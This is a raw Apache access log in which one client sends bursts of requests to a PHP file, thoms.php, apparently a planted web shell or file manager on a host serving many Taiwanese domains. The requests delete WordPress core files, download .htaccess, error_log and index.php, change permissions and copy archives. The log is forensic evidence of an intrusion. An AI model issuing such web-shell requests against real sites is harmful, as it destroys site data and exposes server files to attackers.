45.135.193.11 - - [11/Sep/2026:23:14:44 -0400] "GET /thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 17354 "https://163.245.207.76/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:44 -0400] "GET /thoms.php?p=biotaiwan.com.tw HTTP/1.1" 200 17505 "https://163.245.207.76/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:44 -0400] "GET /thoms.php?p=bioway88.com.tw HTTP/1.1" 200 17698 "https://163.245.207.76/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:44 -0400] "GET /thoms.php?p=bossini.com.tw HTTP/1.1" 200 17595 "https://163.245.207.76/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:44 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=booking-wise2.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:44 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:44 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&move=1&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:44 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=beauty-dental.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:44 -0400] "GET /thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 17415 "https://163.245.207.76/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:44 -0400] "GET /thoms.php?p= HTTP/1.1" 200 20808 "https://163.245.207.76/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:44 -0400] "GET /thoms.php?p= HTTP/1.1" 200 20823 "https://163.245.207.76/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:44 -0400] "GET /thoms.php?p=beauty-dental.com.tw HTTP/1.1" 200 17377 "https://163.245.207.76/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:44 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bfl.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:44 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bft.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:44 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=upgrade HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:44 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:44 -0400] "GET /thoms.php?p=bfl.com.tw HTTP/1.1" 200 17473 "https://163.245.207.76/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:44 -0400] "GET /thoms.php?p=upgrade HTTP/1.1" 200 13826 "https://163.245.207.76/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:44 -0400] "GET /thoms.php?p=bft.com.tw HTTP/1.1" 200 19382 "https://163.245.207.76/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:44 -0400] "GET /thoms.php?p= HTTP/1.1" 200 20849 "https://163.245.207.76/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:45 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:45 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bestzyx.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:45 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=cgi-bin HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:45 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bodbooks.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:45 -0400] "GET /thoms.php?p= HTTP/1.1" 200 20784 "https://163.245.207.76/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:45 -0400] "GET /thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 17870 "https://163.245.207.76/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:45 -0400] "GET /thoms.php?p=cgi-bin HTTP/1.1" 200 13043 "https://163.245.207.76/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:45 -0400] "GET /thoms.php?p=bodbooks.com.tw HTTP/1.1" 200 17559 "https://163.245.207.76/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:45 -0400] "GET /thoms.php?chmod=upgrade&p=bft.com.tw HTTP/1.1" 200 11470 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:45 -0400] "GET /thoms.php?dl=error_log&p=bft.com.tw HTTP/1.1" 200 19381 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:45 -0400] "GET /thoms.php?del=readme.html&p=bft.com.tw HTTP/1.1" 200 19380 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:45 -0400] "GET /thoms.php?chmod=wp-settings.php&p=bft.com.tw HTTP/1.1" 200 11479 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:45 -0400] "GET /thoms.php?dl=wp-links-opml.php&p=bft.com.tw HTTP/1.1" 200 19381 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:45 -0400] "GET /thoms.php?p=bft.com.tw%2F.well-known HTTP/1.1" 200 12574 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:45 -0400] "GET /thoms.php?chmod=.well-known&p=bft.com.tw HTTP/1.1" 200 11476 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:45 -0400] "GET /thoms.php?chmod=license.txt&p=bft.com.tw HTTP/1.1" 200 11479 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:45 -0400] "GET /thoms.php?del=wp-config-sample.php&p=bft.com.tw HTTP/1.1" 200 19382 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:45 -0400] "GET /thoms.php?del=wp-settings.php&p=bft.com.tw HTTP/1.1" 200 19382 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:45 -0400] "GET /thoms.php?chmod=wp-content&p=bft.com.tw HTTP/1.1" 200 11473 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:45 -0400] "GET /thoms.php?del=wp-trackback.php&p=bft.com.tw HTTP/1.1" 200 19381 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:45 -0400] "GET /thoms.php?chmod=wp-links-opml.php&p=bft.com.tw HTTP/1.1" 200 11481 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:45 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-settings.php&p=bft.com.tw HTTP/1.1" 200 11435 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:45 -0400] "GET /thoms.php?del=license.txt&p=bft.com.tw HTTP/1.1" 200 19382 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:45 -0400] "GET /thoms.php?del=wp-cron.php&p=bft.com.tw HTTP/1.1" 200 19362 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:45 -0400] "GET /thoms.php?p=bft.com.tw%2Fclient-global HTTP/1.1" 200 13597 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:45 -0400] "GET /thoms.php?p=bft.com.tw&view=wp-load.php HTTP/1.1" 200 13643 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:45 -0400] "GET /thoms.php?dl=readme.html&p=bft.com.tw HTTP/1.1" 200 19381 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:45 -0400] "GET /thoms.php?del=xmlrpc.php&p=bft.com.tw HTTP/1.1" 200 19381 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:45 -0400] "GET /thoms.php?p=bft.com.tw&view=readme.html HTTP/1.1" 200 15224 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:45 -0400] "GET /thoms.php?dl=mah.php&p=bft.com.tw HTTP/1.1" 200 19381 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:45 -0400] "GET /thoms.php?del=wp-blog-header.php&p=bft.com.tw HTTP/1.1" 200 19380 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:46 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-blog-header.php&p=bft.com.tw HTTP/1.1" 200 11450 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:46 -0400] "GET /thoms.php?copy=bft.com.tw%2Flicense.txt&p=bft.com.tw HTTP/1.1" 200 11434 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:46 -0400] "GET /thoms.php?chmod=thoms.php&p=bft.com.tw HTTP/1.1" 200 11468 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:46 -0400] "GET /thoms.php?del=wp-activate.php&p=bft.com.tw HTTP/1.1" 200 19381 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:46 -0400] "GET /thoms.php?del=wp-links-opml.php&p=bft.com.tw HTTP/1.1" 200 19383 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:46 -0400] "GET /thoms.php?del=.well-known&p=bft.com.tw HTTP/1.1" 200 19381 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:46 -0400] "GET /thoms.php?del=upgrade&p=bft.com.tw HTTP/1.1" 200 19382 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:46 -0400] "GET /thoms.php?p=bft.com.tw&view=wp-blog-header.php HTTP/1.1" 200 12008 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:46 -0400] "GET /thoms.php?dl=index.php&p=bft.com.tw HTTP/1.1" 200 19380 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:46 -0400] "GET /thoms.php?p=bft.com.tw&view=wp-comments-post.php HTTP/1.1" 200 13007 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:46 -0400] "GET /thoms.php?chmod=wp-cron.php&p=bft.com.tw HTTP/1.1" 200 11477 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:46 -0400] "GET /thoms.php?chmod=client-global&p=bft.com.tw HTTP/1.1" 200 11478 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:46 -0400] "GET /thoms.php?p=bft.com.tw%2Fsync-sample HTTP/1.1" 200 13406 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:46 -0400] "GET /thoms.php?copy=bft.com.tw%2Fmah.php&p=bft.com.tw HTTP/1.1" 200 11429 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:46 -0400] "GET /thoms.php?dl=license.txt&p=bft.com.tw HTTP/1.1" 200 19379 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:46 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-load.php&p=bft.com.tw HTTP/1.1" 200 11446 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:46 -0400] "GET /thoms.php?p=bft.com.tw&view=wp-mail.php HTTP/1.1" 200 15340 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:46 -0400] "GET /thoms.php?p=bft.com.tw&view=wp-trackback.php HTTP/1.1" 200 14083 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:46 -0400] "GET /thoms.php?copy=bft.com.tw%2F.tmb&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:46 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-content&p= HTTP/1.1" 200 12139 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:46 -0400] "GET /thoms.php?copy=bft.com.tw%2Ferror_log&p=bft.com.tw HTTP/1.1" 200 11434 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:46 -0400] "GET /thoms.php?p=bft.com.tw&view=index.php HTTP/1.1" 200 12021 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:46 -0400] "GET /thoms.php?chmod=readme.html&p=bft.com.tw HTTP/1.1" 200 11477 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:46 -0400] "GET /thoms.php?p= HTTP/1.1" 200 20784 "https://163.245.207.76/thoms.php?copy=bft.com.tw%2F.tmb&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:46 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin&p= HTTP/1.1" 200 12141 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:46 -0400] "GET /thoms.php?dl=thoms.php&p=bft.com.tw HTTP/1.1" 200 19381 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:46 -0400] "GET /thoms.php?p=bft.com.tw&view=wp-links-opml.php HTTP/1.1" 200 13086 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:46 -0400] "GET /thoms.php?chmod=wp-mail.php&p=bft.com.tw HTTP/1.1" 200 11479 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:46 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:46 -0400] "GET /thoms.php?del=wp-signup.php&p=bft.com.tw HTTP/1.1" 200 19381 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:46 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-activate.php&p=bft.com.tw HTTP/1.1" 200 11439 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:46 -0400] "GET /thoms.php?dl=.htaccess&p=bft.com.tw HTTP/1.1" 200 19379 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:46 -0400] "GET /thoms.php?p= HTTP/1.1" 200 20790 "https://163.245.207.76/thoms.php?copy=bft.com.tw%2Fwp-includes&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:47 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-content HTTP/1.1" 200 13444 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:46 -0400] "GET /thoms.php?dl=wp-activate.php&p=bft.com.tw HTTP/1.1" 200 19382 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:47 -0400] "GET /thoms.php?p=bft.com.tw&settings=1 HTTP/1.1" 200 11875 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:47 -0400] "GET /thoms.php?chmod=wp-includes&p=bft.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:47 -0400] "GET /thoms.php?chmod=.htaccess&p=bft.com.tw HTTP/1.1" 200 11487 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:47 -0400] "GET /thoms.php?copy=bft.com.tw%2Fthoms.php&p=bft.com.tw HTTP/1.1" 200 11446 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:47 -0400] "GET /thoms.php?p=bft.com.tw%2Fupgrade HTTP/1.1" 200 13759 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:47 -0400] "GET /thoms.php?chmod=mah.php&p=bft.com.tw HTTP/1.1" 200 11467 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
